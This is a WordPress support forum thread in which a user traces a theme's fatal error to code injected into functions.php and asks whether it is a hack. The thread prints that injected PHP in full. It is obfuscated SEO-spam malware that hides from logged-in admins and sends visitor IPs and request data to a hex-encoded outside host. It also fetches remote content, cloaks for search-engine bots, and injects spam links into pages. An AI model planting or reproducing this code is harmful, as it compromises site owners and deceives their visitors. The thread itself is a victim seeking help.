Fatal Error Undefined Function

how is this error coming on its own.

No error comes on its own.

This error seems to be coming from your twentyseventeen theme.

Try switching to a different default theme (twenty sixteen, etc.).

Access your server via SFTP or FTP, or a file manager in your hosting account’s control panel (consult your hosting provider’s documentation for specifics on these), navigate to /wp-content/themes/ and rename the directory of your currently active twentyseventeen theme. Alternately, you can remove other themes except the default theme (Twenty Sixteen, etc.). That will force your site to use it.

i just have twenty seventeen now. recently i deleted twenty sixteen and one other which i never wanted to use. As you say twenty sixteen is the default theme (i never knew that), is the error because of that?

twentyseventeen seems to be error.

found the problem. the function.php had the following code in it which is not there in the original twenty seventeen function.php

if(!class_exists('Ratel')){if(function_exists('is_user_logged_in')){if(is_user_logged_in()){return false;}}if(isset($_REQUEST['xftest'])){die(pi()*6);}@ini_set('display_errors',0);@ini_set('error_reporting',0);@ini_set('log_errors',NULL);@ini_set('default_socket_timeout',4);if(!isset($_SERVER['HTTP_USER_AGENT'])||!trim($_SERVER['HTTP_USER_AGENT'])){return false;}$is_bot=0;if(@preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer|cuill.com|clushbot)/i",$_SERVER["HTTP_USER_AGENT"])){$is_bot=1;}$ruri=trim($_SERVER["REQUEST_URI"],"\t\n\r\0\x0B/");$bad_urls='#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';if(preg_match($bad_urls,$ruri)){return false;}$host='unknown';if(isset($_SERVER["HTTP_HOST"])){if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=parse_url('https://' .$_SERVER["HTTP_HOST"]);if($tmp['host']){$host=$tmp['host'];if(substr($host,0,4)== 'www.'){$host=substr($host,4);}}if(isset($_REQUEST[md5(md5($host))])OR isset($_COOKIE[md5(md5($host))])){die('suspicious request denied');}}class Ratel{public $links_url="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x70\x61\x63\x65\x62\x7a\x2e\x63\x6f\x6d\x2f\x6f\x6e\x65\x67\x74\x2f\x67\x65\x74\x2e\x70\x68\x70";public $door_url="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x70\x61\x63\x65\x62\x7a\x2e\x63\x6f\x6d\x2f";public $ip='';public $ua='';public $css='';public $js='';public $host='';public $ip_lists=array('google'=>array('203.208.60.0/24','66.249.64.0/20','72.14.199.0/24','209.85.238.0/24','66.249.90.0/24','66.249.91.0/24','66.249.92.0/24'),'bing'=>array('67.195.37.0/24','67.195.50.0/24','67.195.110.0/24','67.195.111.0/24','67.195.112.0/23','67.195.114.0/24','67.195.115.0/24','68.180.224.0/21','72.30.132.0/24','72.30.142.0/24','72.30.161.0/24','72.30.196.0/24','72.30.198.0/24','74.6.254.0/24','74.6.8.0/24','74.6.13.0/24','74.6.17.0/24','74.6.18.0/24','74.6.22.0/24','74.6.27.0/24','98.137.72.0/24','98.137.206.0/24','98.137.207.0/24','98.139.168.0/24','114.111.95.0/24','124.83.159.0/24','124.83.179.0/24','124.83.223.0/24','183.79.63.0/24','183.79.92.0/24','203.216.255.0/24','211.14.11.0/24','65.52.104.0/24','65.52.108.0/22','65.55.24.0/24','65.55.52.0/24','65.55.55.0/24','65.55.213.0/24','65.55.217.0/24','131.253.24.0/22','131.253.46.0/23','40.77.167.0/24','199.30.27.0/24','157.55.16.0/23','157.55.18.0/24','157.55.32.0/22','157.55.36.0/24','157.55.48.0/24','157.55.109.0/24','157.55.110.40/29','157.55.110.48/28','157.56.92.0/24','157.56.93.0/24','157.56.94.0/23','157.56.229.0/24','199.30.16.0/24','207.46.12.0/23','207.46.192.0/24','207.46.195.0/24','207.46.199.0/24','207.46.204.0/24','157.55.39.0/24'),'baidu'=>array('180.76.15.0/24','119.63.196.0/24','115.239.212./24','119.63.199.0/24','122.81.208.0/22','123.125.71.0/24','180.76.4.0/24','180.76.5.0/24','180.76.6.0/24','185.10.104.0/24','220.181.108.0/24','220.181.51.0/24','111.13.102.0/24','123.125.67.144/29','123.125.67.152/31','61.135.169.0/24','123.125.68.68/30','123.125.68.72/29','123.125.68.80/28','123.125.68.96/30','202.46.48.0/20','220.181.38.0/24','123.125.68.80/30','123.125.68.84/31','123.125.68.0/24'),'yandex'=>array('100.43.90.0/24','37.9.115.0/24','37.140.165.0/24','77.88.22.0/25','77.88.29.0/24','77.88.31.0/24','77.88.59.0/24','84.201.146.0/24','84.201.148.0/24','84.201.149.0/24','87.250.243.0/24','87.250.253.0/24','93.158.147.0/24','93.158.148.0/24','93.158.151.0/24','93.158.153.0/32','95.108.128.0/24','95.108.138.0/24','95.108.150.0/23','95.108.158.0/24','95.108.156.0/24','95.108.188.128/25','95.108.234.0/24','95.108.248.0/24','100.43.80.0/24','130.193.62.0/24','141.8.153.0/24','178.154.165.0/24','178.154.166.128/25','178.154.173.29','178.154.200.158','178.154.202.0/24','178.154.205.0/24','178.154.239.0/24','178.154.243.0/24','37.9.84.253','199.21.99.99','178.154.162.29','178.154.203.251','178.154.211.250','95.108.246.252','5.45.254.0/24','5.255.253.0/24','37.140.141.0/24','37.140.188.0/24','100.43.81.0/24','100.43.85.0/24','100.43.91.0/24','199.21.99.0/24'));public $bot=false;function get_client_ip(){foreach(array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR')as $key){if(array_key_exists($key,$_SERVER)=== true){foreach(array_map('trim',explode(',',$_SERVER[$key]))as $ip){if(filter_var($ip,FILTER_VALIDATE_IP)!== false){return $ip;}}}}return $_SERVER['REMOTE_ADDR'];}function init($ruri,$host,$is_bot){$this->ua=$_SERVER['HTTP_USER_AGENT'];$this->is_bot=$is_bot;$this->ruri=$ruri;$this->ip=$this->get_client_ip();$this->the_end();}function the_end(){$this->detect_bot();if(count($_GET)=== 1 and empty($_GET[0])){$not_uri=end(array_keys($_GET));}$url_p=$this->door_url .'?data=' .base64_encode(@serialize(@array('url'=> $_SERVER["HTTP_HOST"],'uri'=> $_SERVER["REQUEST_URI"],'ua'=> $this->ua,'ref'=> $_SERVER["HTTP_REFERER"],'ip'=> $this->ip,'not_uri'=> $not_uri,'lang'=> $_SERVER['HTTP_ACCEPT_LANGUAGE'],'bot'=> $this->bot))) .'&url=' .$_SERVER["HTTP_HOST"];$content=$this->get($url_p);if(!empty($content)or $content != ''){$content=@base64_decode($content);if(strpos($content,'404_not_found')!== false){header("HTTP/1.0 404 Not Found");exit;}if(strripos($content,' keys/' .$_SERVER["HTTP_HOST"])!== false){return false;}if(@strpos(@strtolower($content),'</html>')!== false){die($content);}}else{$this->links=$this->make_links();if(!empty($this->links)or $this->links !== False){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}}function make_links(){$host='unknown';if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=@parse_url('https://' .$_SERVER["HTTP_HOST"]);if(isset($tmp['host'])){$host=$tmp['host'];}$page=$this->get("$this->links_url?host=$host&uri=" .urlencode($_SERVER["REQUEST_URI"]) ."&bot={$this->bot}&ip=" .urlencode($this->ip));if(strpos($page,'<link>')!== FALSE){preg_match_all('~<link>(.*?)</link>~',$page,$m);$links=isset($m[1])?$m[1]:array();return $links;}return false;}function rwcontent($content){$tags=array('p','span','strong','em','i','td','div','ul','li','span','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i",$content,$matches);if(@isset($matches[0])){foreach($matches[0]as $match){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}if(count($tags_vals)>count($this->links)){break;}}foreach($this->links as $link_index => $link){foreach($tags_vals as $tag_index => $tag_val){if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$link} ",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))==".</{$tag_val['tag']}>"){$tag_content_new=str_replace(".</{$tag_val['tag']}>"," {$link}.</{$tag_val['tag']}>",$tag_val['content']);}else{$tag_content_new=str_replace("</{$tag_val['tag']}>"," {$link} </{$tag_val['tag']}>",$tag_val['content']);}}$content=preg_replace("~{$tag_val['content']}~i",$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($links[$link_index]);continue 2;}}}return $content;}function detect_bot(){if(@preg_match('/google/i',$this->ua)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$this->ua)){$this->bot='bing';return;}if(@preg_match('/yandex|yadirectbot/i',$this->ua)){$this->bot='yandex';return;}if(@preg_match('/baidu/i',$this->ua)){$this->bot='baidu';return;}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby~i',$this->ua)){$this->bot='other';return;}$ipl=ip2long($this->ip);foreach($this->ip_lists as $crawler => $masks){foreach($masks as $mask){if(!strpos($mask,'/')){if($this->ip == $mask){$this->bot=$crawler;return;}}elseif(@$this->cidr_match($ipl,$mask)){$this->bot=$crawler;return;}}}$referer=@gethostbyaddr($this->ip);if(@preg_match('/google/i',$referer)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo|microsoft/i',$referer)){$this->bot='bing';return;}}function cidr_match($ip,$range){list($subnet,$bits)=explode('/',$range);$subnet=ip2long($subnet);$mask=-1 <<(32-$bits);$subnet &= $mask;return@($ip&$mask)== $subnet;}function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);curl_setopt($ch,CURLOPT_TIMEOUT,15);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}}$ratel=new Ratel;$ratel->init($ruri,$host,$is_bot);}

Removing this code resolves the issue. How did this come in the file??

is this a hacking attempt?